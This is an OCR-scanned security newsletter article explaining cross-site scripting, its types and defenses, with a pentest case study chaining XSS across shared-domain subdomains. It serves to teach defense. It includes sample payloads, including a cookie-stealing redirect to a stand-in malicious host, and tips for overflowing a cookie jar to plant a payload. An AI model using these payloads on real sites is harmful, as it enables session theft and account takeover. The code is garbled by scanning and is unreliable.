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CYBERSECURITY IN
PRACTICE




404: SECURITY NOT FOUND

This is the first article in a new series called “404: Security Not Found”
that will lift the curtain on the hacking world — exposing how common
vulnerabilities work, how attackers exploit them, and how defenders can
shut the curtain for good.

Think of the web as a bustling city: on the surface, it’s efficient,
interconnected, familiar, convenient and full of opportunities. You check
your bank balance, share photos, write reviews, read the news. But just
like a city, the internet has alleys you shouldn’t walk down, people you
shouldn’t trust, and doors that shouldn’t be left unlocked. There are
places on the internet that feel safe until they aren’t, corners where a
casual click is the digital equivalent of money being stolen directly from
your pockets. Many users move through this digital landscape unaware
of the risks, and too many developers assume the infrastructure around
them is safe by default.

In this series, we are not sharing theory — we are sharing first-hand
experience from real-world assessments and exploit testing. These are
the things we have seen break, the mistakes we have seen people
make, and the abuses that turn everyday functionality into something
dangerous. Join us on this journey to avoid being the next number in the
statistics of the cybercrime records.

In any city, the wealthy always draw attention of the skilled hustlers — the
ones who don’t just snatch a wallet, but study your routine, learn your
weak points, and slip through cracks in your behavior. Online, the same
rules apply. High-value accounts are attractive because they hold
wealth, secrets and connections that can be monetized: a single stolen
admin credential can open doors to customer databases, code
repositories and systems. We have seen this in the wild — everything
from account takeovers on major developer platforms to customer-data
skims in e-commers — and the fallout is never small. Think of British
Airways, whose checkout was compromised and let to the theft of
thousands of payment records (with full card details stolen from about
250,000 people), or high-profile account-takeovers on Gitlab. When a
hacker targets a “big shot”, the payoff can be enormous — not just in
dollars, but in lost trust, regulatory penalties, and downstream damage.



All the above examples fall victim to a very straightforward, decades-old

technique that hits like hammer — blunt, reliable, and devastating when it
finds the weak spot. And this is the exact reason why attackers still use it
— because simple tools applied to fragile defenses still break things. The
name of this vulnerability is Cross-Site Scripting (XSS).

XSS: THE INVISIBLE SCRIPT
WITH VISIBLE DAMAGE

ict-strypes.eu says

The Invisible Script with Visible Damage

Have you ever noticed an unexpected alert box while browsing a site or
interacting with certain elements? Picture those alerts turning into
gateways for harmful code, siphoning off private details or seizing control
of your session. In this article, we’ll delve into Cross-Site Scripting (XSS)—a
subtle yet potent flaw that lets attackers embed malicious JavaScript into
web platforms, altering their appearance or compromising user security.
With years of hands-on experience as a team, we’ve observed the
significant harm this hidden threat can inflict. Let’s unpack its nature, risks,
mechanics, and protective measures, empowering ourselves with the
insights to counter this stealthy adversary!

WHAT IS XSS?

Cross-Site Scripting (XSS) is a security weakness that permits attackers to
insert harmful scripts into web pages accessed by others. These scripts,
usually JavaScript, run within the user’s browser, exploiting the trust
between the individual and the site. Unlike server-focused attacks, XSS
targets the client side, presenting a unique challenge.

XSS comes in three primary forms:




e Reflected XSS: The malicious code is included in a URL or form field
and reflcted back by the server (e.g., in a search result). It requires the
user to follow a manipulated link.

e Stored XSS: The script is saved on the target server (e.g., in a
comment or profile) and delivered to users automatically.

e DOM-based XSS: The issue stems from client-side JavaScript altering
the document structure, evading server-side filters.

In our work, we frequently encounter stored & DOM-Based XSSes in
platforms with user-contributed content, marking it as a key exploitation
point.

HOW XSS WORKS

XSS vulnerabilities arise when a web application neglects to cleanse or
encode user input before display. Here’s the process in brief:
1.Vulnerable Entry: An attacker spots a field (e.g., a feedback form or
search input) where data is reflected or stored without checking or
validation.
2.Malicious Input: For example:

<scriptralert('Compromised!')</script>

or a subtler variant like
<script>window.location="http://malicious
' m?data="+escape(document. cookie)

3.Trigger: The browser executes the code, treating it as legitimate page
content.
e An example of reflected XSS could be:

: [ fexample. com/query?term=

<scriptralert('Compromised! )< /script>

If the server reflects the term parameter unsanitized, the alert box will
appear in the user’s browser.

In our practice, we leverage reference guides like the OWASP XSS Filter
Evasion Cheat Sheet to detect these weaknesses.



DEFENDING AGAINST XSS

Countering XSS demands a comprehensive strategy blending coding
practices and security assessments:
e |nput Processing and Encoding: Purify or encode user data (e.g.,
transform < to &lt;) using utilities like OWASP’s JavaScript Encoder.
e Security Policy Implementation: Deploy headers to limit executable
scripts, reducing the impact of potential breaches.
e Protected Session Data: Configure cookies with flags to prevent
script access, blocking session theft.
e Consistent Evaluation: Perform security audits or employ tools like
OWASP ZAP to pinpoint and address flaws.
Frameworks such as React or Angular provide inherent safeguards, but
thorough reviews are still vital. We often simulate attacks to confirm
protective measures.

WHY XSS IS DANGEROUS

The consequences of XSS can be profound, transforming a hidden script
into a visible disaster. Attackers might:
e [Extract Confidential Information: Pull session identifiers,
authentication tokens, or input data and transmit them elsewhere.
o Alter Website Appearance: Modify page elements to show deceptive
content or phishing lures.
e Divert Traffic: Guide users to harmful sites, potentially deploying
malicious software.
e Gain System Access: Escalate to remote command execution if the
browser environment allows.
Envision a blog where an attacker embeds a script. Every visitor
unwittingly triggers it, sending their session details to the attacker—who
can then impersonate them instantly!



Vulnerabilities chain

Recently we were performing a pentest for customer A on a couple of
applications. The overall topology was designed as follow:
Appl.customerA.local

App2.customerA.local

App3.customerA.local

In other words, each application is running on its own subdomain, but they
still share the same domain — customerA.local. That’'s a common design
pattern, which brings some advantages but also disadvantages. We will of
course, focus on the disadvantages and exploit them accordingly thanks
to XSS.

Attack Design

We already found a reflected XSS (with captcha bypass) in a forgotten-
password form on app1thus we were able to expand the attack further on
appl. Parallel to that we found also a dom-based XSS on app2, where
data was picked from a cookie and passed to JS functions. Of course,
standard security headers like iframe protection, CSP...etc. were missing
as well, so those medium class vulns are enough to create a complete
attack chain and proof impact. As every attack starts, you must have a
target — what do we want to achieve? A user account takeover in app1
and app2 as the initial step of the whole penetration test would be a good
target. And we have our plan in action:
1.Send a malicious link to end-users via social-chat channel (in that
case, an open discord channel) to have initial XSS triggered in app1
(reflected XSS). That’s our initial entry in the end-user's browser
2.Expand the attack against app1— This is pure application related
scenario, which is different with every application like cookie
exfiltration, or account creation/takeover...
3.Expand the attack towards app2 by setting up a cookie on domain
level (.customerA.local) to store our malicious payload for app2 attack.



*TIP 1: Set the cookie with a path, the browser will prioritize it. Like if you
target /search on app2, use path=/search while setting up the cookie.

*TIP 2: If you expect an existing cookie on app2.customerA.local which will
be interfere with your attack, you can always overflow the cookie jar by
creating approx. 300 random cookies so to overwrite the existing cookies.
Then you can clean up the cookie store and set your malicious one.

" JAVASCRIPT

const cookiejar size
for (let i ; A cookiejar size;

i } { document.cookie
i

~ (let 1 : 1 < cookiejar size;

} { document.cookie
i

4.Create a hidden iframe and load “app2.customerA.local/search” to
trigger the Dom-Based XSS
5.Expand further the attack on app2

And this is how we just expand our attack surface and gain cross-site
scripting capabilities in two applications with stolen identity.
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The impact of XSS can be substantial, as compromised web applications
are a frequent entry point for hackers to breach environments. By itself,
the XSS is not that powerful vulnerability,

Conclusion — Close the Alley, lock the Door

Cross-Site Scripting (XSS) remains a pervasive threat in the digital
landscape, often underestimated due to its seemingly innocuous nature.
As explored in this article, XSS exploits, though executed through subtle
scripts, can inflict significant damage—compromising user data, hijacking
sessions, and eroding trust in web applications. By prioritizing secure
coding practices, such as input validation, output encoding, and
leveraging frameworks with built-in protections, developers can fortify
their applications against XSS vulnerabilities. Furthermore, fostering
awareness among users and implementing robust security policies, like
Content Security Policy (CSP), are critical steps toward mitigation. In an
era where web interactions define much of our online experience,
safeguarding against XSS is not just a technical necessity but a
fundamental responsibility to ensure a secure and trustworthy digital
environment.

Treat this as both a warning and an instruction manual. Start with the
basics and refuse to accept “good enough”: validate and encode every
input, apply the principle of least privilege to cookies and headers, adopt
sane Content Security Policy, and test repeatedly. Use frameworks build-
in-protections and remember also that systems rearly fail in isolation:
chained weaknesses, shared domains, and overlooked headers are how
little problems become catastrophic breaches.

If you are building or defending a site, make these practices part of your
development rhythm. If you are a user, treat unexpected prompts, links,
and social invites like suspicious alleys — don't walk them without verifying
they are safe first. And if you are a security team, keep hunting the
corners other people forget.

This series will keep lifting the curtain on the dark corners of the ethical
hacking — not to scare, but to equip and help you close the alleyways
before the attackers find your weak points. Lock the doors, harden the
windows, and build your city to be unforgiving to attackers and forgiving
to mistakes.
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